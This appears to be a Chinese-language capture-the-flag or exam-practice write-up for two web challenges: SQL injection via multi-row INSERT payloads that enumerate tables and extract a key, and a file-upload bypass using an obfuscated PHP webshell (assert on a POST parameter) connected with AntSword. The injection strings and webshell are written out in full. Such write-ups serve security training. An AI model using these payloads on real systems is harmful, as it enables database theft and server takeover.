PTE
0 环境及工具
操作系统: Windows10
。
工具: Burpsuite
, AntSword-蚁剑
。
1 SQL 注入
所谓 SQL 注入,就是通过把 SQL 命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。
数据库中可以找到Key1。
解题思路:题目告诉通过数据库中找到 key ,那么就不存在通过二阶 SQL 注入方式获得。
首先,创建一个用户“1”,密码“123”。
简单了解到通过提交文章可以查询到数据库中的数据,所以我们可以通过在文章中注入SQL语句获取数据库内 key 值。
测试上传发现,
- 插入的 SQL 语句中会上传标题,内容和用户名。
- 代码过滤“--”和“#”注释符号。
解题方法1:通过“-#-”的方式绕过代码过滤,编写SQL注入语句。
解题方法2:通过构建多个插入语句方式绕过。
下面采用第二种方式解答。
1.1 查找数据库
1','123admin'),('1',database(),'select version()
通过构建第二个 sql 语句得到数据库名:
发现到数据库名“2web”。
1.2 查看表名
1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3
通过“/**/”的方式代替空格,获取当前数据库下的表名。
1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3
发现存在三个表,分别为“article”,“article1”和“users1”。最后一个表最有可能存在 key 值。
1.3 查看 user1 表
1','123'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3
1.4 查看 password 字段值
1','123'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3','123')
通过 limit 关键字从头查找,找到 key 值为“u9y8tr4n”。
2 文件上传突破
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
尝试获取 webshell,答案就在根目录下 key.php 文件中。
解题思路:文件上传的关键点在于文件木马,
2.1 制作木马
可以通过随机图片拼接 php 木马文件,也可以在木马文件名开头包含图片首并修改后缀名的方式。这里选择方式1制作。
木马为:
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
2.2 burpsuite 重放
通过 burpsuite 拦截文件上传并修改“content-Disposition”中的“filename”修改后缀名为“php”。
2.3 获取 webshell
通过蚁剑方式创建 webshell 连接,从而访问服务器内数据,获取 key 值为“a1b2c3d4”。